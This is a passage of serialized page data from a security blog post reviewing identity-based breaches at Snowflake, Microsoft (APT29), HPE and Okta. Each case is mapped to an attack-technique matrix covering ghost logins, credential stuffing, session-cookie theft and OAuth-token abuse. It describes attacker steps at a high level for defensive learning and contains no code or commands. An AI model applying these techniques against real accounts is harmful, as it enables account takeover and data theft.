",{"data":183523,"marks":183524,"value":183526,"nodeType":865},{},[183525],{"type":926},"Intellectual Property",{"data":183528,"marks":183529,"value":183530,"nodeType":865},{},[]," has been exposed then this data may also be sold on via other nefarious channels, with a potential future impact.",{"data":183532,"content":183533,"nodeType":1570},{},[183534],{"data":183535,"content":183536,"nodeType":866},{},[183537,183541,183546],{"data":183538,"marks":183539,"value":183540,"nodeType":865},{},[],"Given the lack of MFA for the compromised accounts, there has been a general criticism of the ‘opt-in’ nature of MFA for SaaS services, with many security professionals suggesting that ",{"data":183542,"marks":183543,"value":183545,"nodeType":865},{},[183544],{"type":926},"Snowflake should enforce MFA by default",{"data":183547,"marks":183548,"value":183549,"nodeType":865},{},[]," given the critical nature of the service. ",{"data":183551,"content":183552,"nodeType":1317},{},[183553],{"data":183554,"marks":183555,"value":183556,"nodeType":865},{},[],"What stands out in the Snowflake breach?",{"data":183558,"content":183559,"nodeType":1616},{},[183560,183579,183620,183647],{"data":183561,"content":183562,"nodeType":1570},{},[183563],{"data":183564,"content":183565,"nodeType":866},{},[183566,183570,183575],{"data":183567,"marks":183568,"value":183569,"nodeType":865},{},[],"The breach ",{"data":183571,"marks":183572,"value":183574,"nodeType":865},{},[183573],{"type":926},"was achieved by using stolen credentials dating back as far as 2020",{"data":183576,"marks":183577,"value":183578,"nodeType":865},{},[],", that had not been rotated or changed. This indicates that many of the credentials used were not necessarily the result of any recent data sharing. This highlights the potential risk of breached credentials already in the public domain; particularly in the case of cloud services that may not be subject to the same levels of credential hygiene as other traditional network logins. ",{"data":183580,"content":183581,"nodeType":1570},{},[183582],{"data":183583,"content":183584,"nodeType":866},{},[183585,183589,183597,183600,183605,183609,183617],{"data":183586,"marks":183587,"value":183588,"nodeType":865},{},[],"Much of the industry response has focused on ensuring that accounts are using SSO (and therefore are protected by MFA at the IdP level). However, due to the existence of ",{"data":183590,"content":183592,"nodeType":889},{"uri":183591},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/ghost-logins",[183593],{"data":183594,"marks":183595,"value":6715,"nodeType":865},{},[183596],{"type":943},{"data":183598,"marks":183599,"value":2717,"nodeType":865},{},[],{"data":183601,"marks":183602,"value":183604,"nodeType":865},{},[183603],{"type":926},"local logins without MFA can exist simultaneously with the SSO login unless expressly disabled",{"data":183606,"marks":183607,"value":183608,"nodeType":865},{},[],". Organizations using Snowflake that are looking to lock down their accounts can ",{"data":183610,"content":183611,"nodeType":889},{"uri":169364},[183612],{"data":183613,"marks":183614,"value":183616,"nodeType":865},{},[183615],{"type":943},"watch our recent demo of how to effectively remediate this vulnerability in Snowflake",{"data":183618,"marks":183619,"value":113401,"nodeType":865},{},[],{"data":183621,"content":183622,"nodeType":1570},{},[183623],{"data":183624,"content":183625,"nodeType":866},{},[183626,183631,183635,183643],{"data":183627,"marks":183628,"value":183630,"nodeType":865},{},[183629],{"type":926},"80% of the credentials were gathered through infostealer malware",{"data":183632,"marks":183633,"value":183634,"nodeType":865},{},[],". Typically, this occurs when unmanaged devices are used to access company resources, or personal browser profiles are synchronized on both work and personal devices. Malware deployed to an insecure personal device can then access and steal credentials for company resources. This situation usually occurs when working with third-party contractors on a BYOD basis; ",{"data":183636,"content":183637,"nodeType":889},{"uri":62047},[183638],{"data":183639,"marks":183640,"value":183642,"nodeType":865},{},[183641],{"type":943},"a recent article indicates that Ukraine-based EPAM Systems",{"data":183644,"marks":183645,"value":183646,"nodeType":865},{},[],", an engineering and digital service provider and “Elite Tier Partner” of Snowflake, was one such organization breached in this way. Organizations consuming Snowflake-related services from EPAM were then subsequently affected, as the compromise of EPAM users granted access to a large number of Snowflake credentials for various company tenants.  ",{"data":183648,"content":183649,"nodeType":1570},{},[183650],{"data":183651,"content":183652,"nodeType":866},{},[183653,183657,183662,183666,183671],{"data":183654,"marks":183655,"value":183656,"nodeType":865},{},[],"While attacker activity has focused on Snowflake to date, the success of this attack will signal the potential for further credential based attacks against similar apps. ",{"data":183658,"marks":183659,"value":183661,"nodeType":865},{},[183660],{"type":926},"There may already be a 'Snowflake 2.0' among the credentials already available online",{"data":183663,"marks":183664,"value":183665,"nodeType":865},{},[],". Further, credentials can be used against a wide range of apps to capitalize on potential ",{"data":183667,"marks":183668,"value":183670,"nodeType":865},{},[183669],{"type":926},"password reuse (which we see for 1 in 3 employees)",{"data":183672,"marks":183673,"value":183674,"nodeType":865},{},[],", so the exact creds for a particular app don’t have to be explicitly breached, so long as the domain for the login portal can be guessed or has been exposed elsewhere.   ",{"data":183676,"content":183677,"nodeType":1317},{},[183678],{"data":183679,"marks":183680,"value":183681,"nodeType":865},{},[],"Browser & Identity Attacks Matrix mapping",{"data":183683,"content":183684,"nodeType":866},{},[183685],{"data":183686,"marks":183687,"value":183688,"nodeType":865},{},[],"For more information on each TTP please navigate to the entries linked in the table below. ",{"data":183690,"content":183691,"nodeType":2927},{},[183692,183735,183797],{"data":183693,"content":183694,"nodeType":2400},{},[183695,183705,183715,183725],{"data":183696,"content":183697,"nodeType":38076},{},[183698],{"data":183699,"content":183700,"nodeType":866},{},[183701],{"data":183702,"marks":183703,"value":183704,"nodeType":865},{},[],"ID",{"data":183706,"content":183707,"nodeType":38076},{},[183708],{"data":183709,"content":183710,"nodeType":866},{},[183711],{"data":183712,"marks":183713,"value":183714,"nodeType":865},{},[],"Name",{"data":183716,"content":183717,"nodeType":38076},{},[183718],{"data":183719,"content":183720,"nodeType":866},{},[183721],{"data":183722,"marks":183723,"value":183724,"nodeType":865},{},[],"Stage",{"data":183726,"content":183727,"nodeType":38076},{},[183728],{"data":183729,"content":183730,"nodeType":866},{},[183731],{"data":183732,"marks":183733,"value":183734,"nodeType":865},{},[],"Description",{"data":183736,"content":183737,"nodeType":2400},{},[183738,183758,183777,183787],{"data":183739,"content":183740,"nodeType":2366},{},[183741],{"data":183742,"content":183743,"nodeType":866},{},[183744,183747,183755],{"data":183745,"marks":183746,"value":21,"nodeType":865},{},[],{"data":183748,"content":183749,"nodeType":889},{"uri":53259},[183750],{"data":183751,"marks":183752,"value":183754,"nodeType":865},{},[183753],{"type":943},"SAT1017",{"data":183756,"marks":183757,"value":21,"nodeType":865},{},[],{"data":183759,"content":183760,"nodeType":2366},{},[183761],{"data":183762,"content":183763,"nodeType":866},{},[183764,183767,183774],{"data":183765,"marks":183766,"value":21,"nodeType":865},{},[],{"data":183768,"content":183769,"nodeType":889},{"uri":183591},[183770],{"data":183771,"marks":183772,"value":395,"nodeType":865},{},[183773],{"type":943},{"data":183775,"marks":183776,"value":21,"nodeType":865},{},[],{"data":183778,"content":183779,"nodeType":2366},{},[183780],{"data":183781,"content":183782,"nodeType":866},{},[183783],{"data":183784,"marks":183785,"value":183786,"nodeType":865},{},[],"Initial Access; Persistence; Defense Evasion",{"data":183788,"content":183789,"nodeType":2366},{},[183790],{"data":183791,"content":183792,"nodeType":866},{},[183793],{"data":183794,"marks":183795,"value":183796,"nodeType":865},{},[],"Abusing non-SSO additional login methods such as password-based authentication (local to the SaaS app), social logins, API access, etc. ",{"data":183798,"content":183799,"nodeType":2400},{},[183800,183820,183840,183850],{"data":183801,"content":183802,"nodeType":2366},{},[183803],{"data":183804,"content":183805,"nodeType":866},{},[183806,183809,183817],{"data":183807,"marks":183808,"value":21,"nodeType":865},{},[],{"data":183810,"content":183811,"nodeType":889},{"uri":147580},[183812],{"data":183813,"marks":183814,"value":183816,"nodeType":865},{},[183815],{"type":943},"SAT1044",{"data":183818,"marks":183819,"value":21,"nodeType":865},{},[],{"data":183821,"content":183822,"nodeType":2366},{},[183823],{"data":183824,"content":183825,"nodeType":866},{},[183826,183829,183837],{"data":183827,"marks":183828,"value":21,"nodeType":865},{},[],{"data":183830,"content":183832,"nodeType":889},{"uri":183831},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/session-cookie-theft",[183833],{"data":183834,"marks":183835,"value":169556,"nodeType":865},{},[183836],{"type":943},{"data":183838,"marks":183839,"value":21,"nodeType":865},{},[],{"data":183841,"content":183842,"nodeType":2366},{},[183843],{"data":183844,"content":183845,"nodeType":866},{},[183846],{"data":183847,"marks":183848,"value":183849,"nodeType":865},{},[],"Lateral Movement; Defense Evasion",{"data":183851,"content":183852,"nodeType":2366},{},[183853],{"data":183854,"content":183855,"nodeType":866},{},[183856],{"data":183857,"marks":183858,"value":183859,"nodeType":865},{},[],"Session cookies are used to pivot from an endpoint compromise and laterally move to downstream SaaS applications.",{"data":183861,"content":183862,"nodeType":1317},{},[183863],{"data":183864,"marks":183865,"value":183866,"nodeType":865},{},[],"Related breaches",{"data":183868,"content":183869,"nodeType":866},{},[183870],{"data":183871,"marks":183872,"value":183873,"nodeType":865},{},[],"Named victims are listed below:",{"data":183875,"content":183876,"nodeType":1616},{},[183877,183887,183897,183907,183917,183927,183937,183947],{"data":183878,"content":183879,"nodeType":1570},{},[183880],{"data":183881,"content":183882,"nodeType":866},{},[183883],{"data":183884,"marks":183885,"value":183886,"nodeType":865},{},[],"Ticketmaster",{"data":183888,"content":183889,"nodeType":1570},{},[183890],{"data":183891,"content":183892,"nodeType":866},{},[183893],{"data":183894,"marks":183895,"value":183896,"nodeType":865},{},[],"Santander",{"data":183898,"content":183899,"nodeType":1570},{},[183900],{"data":183901,"content":183902,"nodeType":866},{},[183903],{"data":183904,"marks":183905,"value":183906,"nodeType":865},{},[],"Neiman Marcus",{"data":183908,"content":183909,"nodeType":1570},{},[183910],{"data":183911,"content":183912,"nodeType":866},{},[183913],{"data":183914,"marks":183915,"value":183916,"nodeType":865},{},[],"Los Angeles Unified",{"data":183918,"content":183919,"nodeType":1570},{},[183920],{"data":183921,"content":183922,"nodeType":866},{},[183923],{"data":183924,"marks":183925,"value":183926,"nodeType":865},{},[],"Pure Storage",{"data":183928,"content":183929,"nodeType":1570},{},[183930],{"data":183931,"content":183932,"nodeType":866},{},[183933],{"data":183934,"marks":183935,"value":183936,"nodeType":865},{},[],"Advance Auto Parts",{"data":183938,"content":183939,"nodeType":1570},{},[183940],{"data":183941,"content":183942,"nodeType":866},{},[183943],{"data":183944,"marks":183945,"value":183946,"nodeType":865},{},[],"Truist Bank",{"data":183948,"content":183949,"nodeType":1570},{},[183950],{"data":183951,"content":183952,"nodeType":866},{},[183953],{"data":183954,"marks":183955,"value":183956,"nodeType":865},{},[],"Lending Tree",{"data":183958,"content":183959,"nodeType":972},{},[],{"data":183961,"content":183962,"nodeType":981},{},[183963],{"data":183964,"marks":183965,"value":183966,"nodeType":865},{},[],"Microsoft — January 2024",{"data":183968,"content":183969,"nodeType":866},{},[183970],{"data":183971,"marks":183972,"value":183973,"nodeType":865},{},[],"The threat group known as APT29 (also known as “The Dukes”, “Cozy Bear”, and labeled “Midnight Blizzard” by Microsoft) executed a cleverly executed password-guessing attack to compromise test cloud identities that were also lacking MFA. Attackers then leveraged this access to compromise some OAuth applications that allowed lateral movement to Microsoft’s corporate environment and the creation of other malicious OAuth applications to achieve persistence.",{"data":183975,"content":183976,"nodeType":1317},{},[183977],{"data":183978,"marks":183979,"value":183980,"nodeType":865},{},[],"How did Microsoft get breached?",{"data":183982,"content":183983,"nodeType":1616},{},[183984,183994,184004,184014,184024,184034],{"data":183985,"content":183986,"nodeType":1570},{},[183987],{"data":183988,"content":183989,"nodeType":866},{},[183990],{"data":183991,"marks":183992,"value":183993,"nodeType":865},{},[],"APT29 utilized password spraying / credential stuffing attacks to compromise test cloud identities that were also lacking MFA, attached to a non-production test tenant.",{"data":183995,"content":183996,"nodeType":1570},{},[183997],{"data":183998,"content":183999,"nodeType":866},{},[184000],{"data":184001,"marks":184002,"value":184003,"nodeType":865},{},[],"APT29 leveraged their initial access to the test tenant to identify and compromise a test OAuth application that had access to the Microsoft corporate environment by leveraging permissive Entra ID roles in the test tenant.",{"data":184005,"content":184006,"nodeType":1570},{},[184007],{"data":184008,"content":184009,"nodeType":866},{},[184010],{"data":184011,"marks":184012,"value":184013,"nodeType":865},{},[],"APT29 used the existing configurations to access the Microsoft corporate Entra ID tenant whereupon the app registration from the test tenant was installed as a service principal in the corporate tenant, granting the equivalent of global admin rights.",{"data":184015,"content":184016,"nodeType":1570},{},[184017],{"data":184018,"content":184019,"nodeType":866},{},[184020],{"data":184021,"marks":184022,"value":184023,"nodeType":865},{},[],"Using these new permissions, APT29 registered additional malicious OAuth applications in the Microsoft corporate environment, and created a new user in the Microsoft corporate tenant to grant consent to the new malicious OAuth apps, thereby achieving persistent access to the environment.",{"data":184025,"content":184026,"nodeType":1570},{},[184027],{"data":184028,"content":184029,"nodeType":866},{},[184030],{"data":184031,"marks":184032,"value":184033,"nodeType":865},{},[],"APT29 leveraged the elevated (maximum) privileges assigned to the ‘test’ app service principal to grant app roles to other newly created app service principals, granting them the Office 365 Exchange Online full_access_as_app role in the corporate tenant, which allows access to mailboxes.",{"data":184035,"content":184036,"nodeType":1570},{},[184037],{"data":184038,"content":184039,"nodeType":866},{},[184040],{"data":184041,"marks":184042,"value":184043,"nodeType":865},{},[],"APT29 leveraged these malicious OAuth applications to authenticate to Microsoft Exchange Online and target Microsoft corporate email accounts.",{"data":184045,"content":184046,"nodeType":1317},{},[184047],{"data":184048,"marks":184049,"value":184050,"nodeType":865},{},[],"What was the impact of the Microsoft breach?",{"data":184052,"content":184053,"nodeType":1616},{},[184054,184064,184074],{"data":184055,"content":184056,"nodeType":1570},{},[184057],{"data":184058,"content":184059,"nodeType":866},{},[184060],{"data":184061,"marks":184062,"value":184063,"nodeType":865},{},[],"APT29 had access to Microsoft corporate email accounts, including members of the senior leadership team and employees in the cybersecurity, legal, and other functions, resulting in sensitive data leakage.",{"data":184065,"content":184066,"nodeType":1570},{},[184067],{"data":184068,"content":184069,"nodeType":866},{},[184070],{"data":184071,"marks":184072,"value":184073,"nodeType":865},{},[],"Microsoft has not disclosed any further impacts at this time, but it is likely that the adversary had complete, unmitigated control of the Microsoft corporate tenant for a period of time, with global administrator level access.",{"data":184075,"content":184076,"nodeType":1570},{},[184077],{"data":184078,"content":184079,"nodeType":866},{},[184080],{"data":184081,"marks":184082,"value":184083,"nodeType":865},{},[],"Since the initial attack there has been evidence of continued targeting, with password spraying attacks reportedly increasing tenfold, likely informed by stolen information.",{"data":184085,"content":184086,"nodeType":1317},{},[184087],{"data":184088,"marks":184089,"value":184090,"nodeType":865},{},[],"What stands out in the Microsoft breach?",{"data":184092,"content":184093,"nodeType":1616},{},[184094,184104,184114,184124],{"data":184095,"content":184096,"nodeType":1570},{},[184097],{"data":184098,"content":184099,"nodeType":866},{},[184100],{"data":184101,"marks":184102,"value":184103,"nodeType":865},{},[],"The attack was covert and targeted, with APT29 tailoring the attack to a limited number of accounts and using a low number of attempts to evade detection and avoid account blocks based on the volume of failures.",{"data":184105,"content":184106,"nodeType":1570},{},[184107],{"data":184108,"content":184109,"nodeType":866},{},[184110],{"data":184111,"marks":184112,"value":184113,"nodeType":865},{},[],"APT29 used residential proxy networks when interacting with the compromised tenant and, subsequently, with Exchange Online to obfuscate the source of their attack and avoid impossible travel detections. ",{"data":184115,"content":184116,"nodeType":1570},{},[184117],{"data":184118,"content":184119,"nodeType":866},{},[184120],{"data":184121,"marks":184122,"value":184123,"nodeType":865},{},[],"APT29 demonstrated mature and in-depth understanding of cloud infrastructure, protocols, and workflows, particularly in terms of privilege escalation and lateral movement.",{"data":184125,"content":184126,"nodeType":1570},{},[184127],{"data":184128,"content":184129,"nodeType":866},{},[184130],{"data":184131,"marks":184132,"value":184133,"nodeType":865},{},[],"If even Microsoft (an organization with pretty much unrivaled security resources) can’t ensure that all their accounts are protected by MFA and that there are no weak links between test/dev and prod systems, this should be a wake-up call for any company that thinks their MFA implementation is flawless. ",{"data":184135,"content":184136,"nodeType":1317},{},[184137],{"data":184138,"marks":184139,"value":183681,"nodeType":865},{},[],{"data":184141,"content":184142,"nodeType":866},{},[184143],{"data":184144,"marks":184145,"value":183688,"nodeType":865},{},[],{"data":184147,"content":184148,"nodeType":2927},{},[184149,184189,184252,184315],{"data":184150,"content":184151,"nodeType":2400},{},[184152,184161,184171,184180],{"data":184153,"content":184154,"nodeType":38076},{},[184155],{"data":184156,"content":184157,"nodeType":866},{},[184158],{"data":184159,"marks":184160,"value":183704,"nodeType":865},{},[],{"data":184162,"content":184163,"nodeType":38076},{},[184164],{"data":184165,"content":184166,"nodeType":866},{},[184167],{"data":184168,"marks":184169,"value":184170,"nodeType":865},{},[],"Technique",{"data":184172,"content":184173,"nodeType":38076},{},[184174],{"data":184175,"content":184176,"nodeType":866},{},[184177],{"data":184178,"marks":184179,"value":183724,"nodeType":865},{},[],{"data":184181,"content":184182,"nodeType":38076},{},[184183],{"data":184184,"content":184185,"nodeType":866},{},[184186],{"data":184187,"marks":184188,"value":183734,"nodeType":865},{},[],{"data":184190,"content":184191,"nodeType":2400},{},[184192,184212,184232,184242],{"data":184193,"content":184194,"nodeType":2366},{},[184195],{"data":184196,"content":184197,"nodeType":866},{},[184198,184201,184209],{"data":184199,"marks":184200,"value":21,"nodeType":865},{},[],{"data":184202,"content":184203,"nodeType":889},{"uri":169182},[184204],{"data":184205,"marks":184206,"value":184208,"nodeType":865},{},[184207],{"type":943},"SAT1011",{"data":184210,"marks":184211,"value":21,"nodeType":865},{},[],{"data":184213,"content":184214,"nodeType":2366},{},[184215],{"data":184216,"content":184217,"nodeType":866},{},[184218,184221,184229],{"data":184219,"marks":184220,"value":21,"nodeType":865},{},[],{"data":184222,"content":184224,"nodeType":889},{"uri":184223},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/credential-stuffing",[184225],{"data":184226,"marks":184227,"value":333,"nodeType":865},{},[184228],{"type":943},{"data":184230,"marks":184231,"value":21,"nodeType":865},{},[],{"data":184233,"content":184234,"nodeType":2366},{},[184235],{"data":184236,"content":184237,"nodeType":866},{},[184238],{"data":184239,"marks":184240,"value":184241,"nodeType":865},{},[],"Initial Access",{"data":184243,"content":184244,"nodeType":2366},{},[184245],{"data":184246,"content":184247,"nodeType":866},{},[184248],{"data":184249,"marks":184250,"value":184251,"nodeType":865},{},[],"Attempt to authenticate to a SaaS account by guessing a large number of passwords ",{"data":184253,"content":184254,"nodeType":2400},{},[184255,184275,184295,184305],{"data":184256,"content":184257,"nodeType":2366},{},[184258],{"data":184259,"content":184260,"nodeType":866},{},[184261,184264,184272],{"data":184262,"marks":184263,"value":21,"nodeType":865},{},[],{"data":184265,"content":184266,"nodeType":889},{"uri":169773},[184267],{"data":184268,"marks":184269,"value":184271,"nodeType":865},{},[184270],{"type":943},"SAT1027",{"data":184273,"marks":184274,"value":21,"nodeType":865},{},[],{"data":184276,"content":184277,"nodeType":2366},{},[184278],{"data":184279,"content":184280,"nodeType":866},{},[184281,184284,184292],{"data":184282,"marks":184283,"value":21,"nodeType":865},{},[],{"data":184285,"content":184287,"nodeType":889},{"uri":184286},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/oauth-tokens",[184288],{"data":184289,"marks":184290,"value":169779,"nodeType":865},{},[184291],{"type":943},{"data":184293,"marks":184294,"value":21,"nodeType":865},{},[],{"data":184296,"content":184297,"nodeType":2366},{},[184298],{"data":184299,"content":184300,"nodeType":866},{},[184301],{"data":184302,"marks":184303,"value":184304,"nodeType":865},{},[],"Execution; Persistence; Defense Evasion",{"data":184306,"content":184307,"nodeType":2366},{},[184308],{"data":184309,"content":184310,"nodeType":866},{},[184311],{"data":184312,"marks":184313,"value":184314,"nodeType":865},{},[],"Use a malicious OAuth app to create an OAuth token, using arbitrary permissions to maintain long-term programmatic access to a compromised user account.",{"data":184316,"content":184317,"nodeType":2400},{},[184318,184338,184359,184369],{"data":184319,"content":184320,"nodeType":2366},{},[184321],{"data":184322,"content":184323,"nodeType":866},{},[184324,184327,184335],{"data":184325,"marks":184326,"value":21,"nodeType":865},{},[],{"data":184328,"content":184329,"nodeType":889},{"uri":170004},[184330],{"data":184331,"marks":184332,"value":184334,"nodeType":865},{},[184333],{"type":943},"SAT1001",{"data":184336,"marks":184337,"value":21,"nodeType":865},{},[],{"data":184339,"content":184340,"nodeType":2366},{},[184341],{"data":184342,"content":184343,"nodeType":866},{},[184344,184347,184356],{"data":184345,"marks":184346,"value":21,"nodeType":865},{},[],{"data":184348,"content":184350,"nodeType":889},{"uri":184349},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/abuse-existing-oauth-integrations",[184351],{"data":184352,"marks":184353,"value":184355,"nodeType":865},{},[184354],{"type":943},"Abuse existing OAuth integrations",{"data":184357,"marks":184358,"value":21,"nodeType":865},{},[],{"data":184360,"content":184361,"nodeType":2366},{},[184362],{"data":184363,"content":184364,"nodeType":866},{},[184365],{"data":184366,"marks":184367,"value":184368,"nodeType":865},{},[],"Privilege Escalation;\nLateral Movement",{"data":184370,"content":184371,"nodeType":2366},{},[184372],{"data":184373,"content":184374,"nodeType":866},{},[184375],{"data":184376,"marks":184377,"value":184378,"nodeType":865},{},[],"If an adversary compromises a SaaS account integrated with other apps, they can escalate privileges and move laterally to other apps.",{"data":184380,"content":184381,"nodeType":1317},{},[184382],{"data":184383,"marks":184384,"value":183866,"nodeType":865},{},[],{"data":184386,"content":184387,"nodeType":866},{},[184388],{"data":184389,"marks":184390,"value":184392,"nodeType":865},{},[184391],{"type":926},"Hewlett Packard Enterprise (HPE) — May 2023",{"data":184394,"content":184395,"nodeType":866},{},[184396],{"data":184397,"marks":184398,"value":184399,"nodeType":865},{},[],"At the time of the Microsoft breach becoming public knowledge, HPE disclosed that they had become aware of a historical incident in Dec 2023, involving unauthorized access to and exfiltration of a limited number of SharePoint files as early as May 2023. Hackers accessed and exfiltrated data from HPE mailboxes belonging to individuals in the cybersecurity, go-to-market, business segments, and other functions. No further information is available on the techniques used or impact of the breach. ",{"data":184401,"content":184402,"nodeType":972},{},[],{"data":184404,"content":184405,"nodeType":981},{},[184406],{"data":184407,"marks":184408,"value":184409,"nodeType":865},{},[],"Okta — October 2023",{"data":184411,"content":184412,"nodeType":866},{},[184413],{"data":184414,"marks":184415,"value":184416,"nodeType":865},{},[],"An unknown threat group compromised an Okta employee's personal Google account that was being used on a company-managed device, granting the threat actor access to a service account for Okta’s customer support system, that included session tokens for 134 customers. This was then used to hijack the legitimate Okta sessions of five customers. ",{"data":184418,"content":184419,"nodeType":1317},{},[184420],{"data":184421,"marks":184422,"value":184423,"nodeType":865},{},[],"How did Okta get breached?",{"data":184425,"content":184426,"nodeType":1616},{},[184427,184437,184447,184457,184467],{"data":184428,"content":184429,"nodeType":1570},{},[184430],{"data":184431,"content":184432,"nodeType":866},{},[184433],{"data":184434,"marks":184435,"value":184436,"nodeType":865},{},[],"The threat actor compromised a personal Google account that the user had accessed from their Okta-managed work device by signing into their personal profile from the Chrome browser.",{"data":184438,"content":184439,"nodeType":1570},{},[184440],{"data":184441,"content":184442,"nodeType":866},{},[184443],{"data":184444,"marks":184445,"value":184446,"nodeType":865},{},[],"The personal account credentials are likely to have been compromised in a historical data breach and did not have MFA enabled.",{"data":184448,"content":184449,"nodeType":1570},{},[184450],{"data":184451,"content":184452,"nodeType":866},{},[184453],{"data":184454,"marks":184455,"value":184456,"nodeType":865},{},[],"The username and password of a service account for Okta’s customer support system had been saved into the employee’s personal Google account and was therefore compromised.",{"data":184458,"content":184459,"nodeType":1570},{},[184460],{"data":184461,"content":184462,"nodeType":866},{},[184463],{"data":184464,"marks":184465,"value":184466,"nodeType":865},{},[],"The threat actor was able to access the service account by logging in using the stolen credentials, which again likely did not have MFA deployed as a service account.",{"data":184468,"content":184469,"nodeType":1570},{},[184470],{"data":184471,"content":184472,"nodeType":866},{},[184473],{"data":184474,"marks":184475,"value":184476,"nodeType":865},{},[],"The threat actor was able to use session tokens in the HAR files to impersonate staff and hijack the legitimate Okta sessions of five customers, including 1Password, BeyondTrust, and Cloudflare.",{"data":184478,"content":184479,"nodeType":1317},{},[184480],{"data":184481,"marks":184482,"value":184483,"nodeType":865},{},[],"What was the impact of the Okta breach?",{"data":184485,"content":184486,"nodeType":1616},{},[184487,184497,184507,184517],{"data":184488,"content":184489,"nodeType":1570},{},[184490],{"data":184491,"content":184492,"nodeType":866},{},[184493],{"data":184494,"marks":184495,"value":184496,"nodeType":865},{},[],"The threat actor gained unauthorized access to files inside Okta’s customer support system associated with 134 Okta customers.",{"data":184498,"content":184499,"nodeType":1570},{},[184500],{"data":184501,"content":184502,"nodeType":866},{},[184503],{"data":184504,"marks":184505,"value":184506,"nodeType":865},{},[],"The threat actor was able to use these session tokens to hijack the legitimate Okta sessions of 5 (publicly disclosed) customers.",{"data":184508,"content":184509,"nodeType":1570},{},[184510],{"data":184511,"content":184512,"nodeType":866},{},[184513],{"data":184514,"marks":184515,"value":184516,"nodeType":865},{},[],"Okta originally claimed the breach had impacted only 1% of customers, but later found that a report run and downloaded by the threat actor contained the names and email addresses of all 18,400 Okta customer support users, as well as some Okta employee information, meaning 100% of customer support users were impacted.",{"data":184518,"content":184519,"nodeType":1570},{},[184520],{"data":184521,"content":184522,"nodeType":866},{},[184523],{"data":184524,"marks":184525,"value":184526,"nodeType":865},{},[],"Okta users are at higher risk of phishing and credential stuffing attacks based on the data stolen by the threat actor, increasing the importance of robust MFA implementation.",{"data":184528,"content":184529,"nodeType":1317},{},[184530],{"data":184531,"marks":184532,"value":184533,"nodeType":865},{},[],"What stands out in the Okta breach?",{"data":184535,"content":184536,"nodeType":1616},{},[184537,184547,184557],{"data":184538,"content":184539,"nodeType":1570},{},[184540],{"data":184541,"content":184542,"nodeType":866},{},[184543],{"data":184544,"marks":184545,"value":184546,"nodeType":865},{},[],"This attack demonstrates the risk associated with cloud Identity Providers and the potential goldmine that they are to attackers. Much in the same way that the manufacturers of physical and virtual network appliances are continuously probed for software vulnerabilities, cloud IdPs like Okta present a huge potential opportunity, both in terms of targeting specific organizational instances as well as the Okta organization. This attack showcases the possibility of third-party supply chain attacks to target downstream organizations using IdP services. ",{"data":184548,"content":184549,"nodeType":1570},{},[184550],{"data":184551,"content":184552,"nodeType":866},{},[184553],{"data":184554,"marks":184555,"value":184556,"nodeType":865},{},[],"Similar to the Microsoft breach, gaps were discovered and exploited in Okta’s MFA coverage and implementation, highlighting that there are gaps in even the most mature organizations. ",{"data":184558,"content":184559,"nodeType":1570},{},[184560],{"data":184561,"content":184562,"nodeType":866},{},[184563],{"data":184564,"marks":184565,"value":184566,"nodeType":865},{},[],"The subsequent attack on Cloudflare (see below) and the scale of the recovery effort demonstrates the significant operational overhead in responding to and recovering from a breach of identity infrastructure, with a similar or greater scale than a traditional Active Directory compromise. While addressing the incident, Cloudflare's staff rotated all production credentials (over 5,000 unique ones), physically segmented test and staging systems, performed forensic triage on 4,893 systems, reimaged and rebooted all systems on the company's global network, including all Atlassian servers (Jira, Confluence, and Bitbucket) and machines accessed by the threat actor. All equipment in Cloudflare's Brazil data center, which was unsuccessfully targeted by the threat actor, was later returned to the manufacturers to ensure that the data center was secure.",{"data":184568,"content":184569,"nodeType":1317},{},[184570],{"data":184571,"marks":184572,"value":183681,"nodeType":865},{},[],{"data":184574,"content":184575,"nodeType":866},{},[184576],{"data":184577,"marks":184578,"value":183688,"nodeType":865},{},[],{"data":184580,"content":184581,"nodeType":2927},{},[184582,184621,184680],{"data":184583,"content":184584,"nodeType":2400},{},[184585,184594,184603,184612],{"data":184586,"content":184587,"nodeType":38076},{},[184588],{"data":184589,"content":184590,"nodeType":866},{},[184591],{"data":184592,"marks":184593,"value":183704,"nodeType":865},{},[],{"data":184595,"content":184596,"nodeType":38076},{},[184597],{"data":184598,"content":184599,"nodeType":866},{},[184600],{"data":184601,"marks":184602,"value":184170,"nodeType":865},{},[],{"data":184604,"content":184605,"nodeType":38076},{},[184606],{"data":184607,"content":184608,"nodeType":866},{},[184609],{"data":184610,"marks":184611,"value":183724,"nodeType":865},{},[],{"data":184613,"content":184614,"nodeType":38076},{},[184615],{"data":184616,"content":184617,"nodeType":866},{},[184618],{"data":184619,"marks":184620,"value":183734,"nodeType":865},{},[],{"data":184622,"content":184623,"nodeType":2400},{},[184624,184643,184662,184671],{"data":184625,"content":184626,"nodeType":2366},{},[184627],{"data":184628,"content":184629,"nodeType":866},{},[184630,184633,184640],{"data":184631,"marks":184632,"value":21,"nodeType":865},{},[],{"data":184634,"content":184635,"nodeType":889},{"uri":169182},[184636],{"data":184637,"marks":184638,"value":184208,"nodeType":865},{},[184639],{"type":943},{"data":184641,"marks":184642,"value":21,"nodeType":865},{},[],{"data":184644,"content":184645,"nodeType":2366},{},[184646],{"data":184647,"content":184648,"nodeType":866},{},[184649,184652,184659],{"data":184650,"marks":184651,"value":21,"nodeType":865},{},[],{"data":184653,"content":184654,"nodeType":889},{"uri":184223},[184655],{"data":184656,"marks":184657,"value":333,"nodeType":865},{},[184658],{"type":943},{"data":184660,"marks":184661,"value":21,"nodeType":865},{},[],{"data":184663,"content":184664,"nodeType":2366},{},[184665],{"data":184666,"content":184667,"nodeType":866},{},[184668],{"data":184669,"marks":184670,"value":184241,"nodeType":865},{},[],{"data":184672,"content":184673,"nodeType":2366},{},[184674],{"data":184675,"content":184676,"nodeType":866},{},[184677],{"data":184678,"marks":184679,"value":184251,"nodeType":865},{},[],{"data":184681,"content":184682,"nodeType":2400},{},[184683,184704,184725,184735],{"data":184684,"content":184685,"nodeType":2366},{},[184686],{"data":184687,"content":184688,"nodeType":866},{},[184689,184692,184701],{"data":184690,"marks":184691,"value":21,"nodeType":865},{},[],{"data":184693,"content":184695,"nodeType":889},{"uri":184694},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/password_scraping/description.md",[184696],{"data":184697,"marks":184698,"value":184700,"nodeType":865},{},[184699],{"type":943},"SAT1028",{"data":184702,"marks":184703,"value":21,"nodeType":865},{},[],{"data":184705,"content":184706,"nodeType":2366},{},[184707],{"data":184708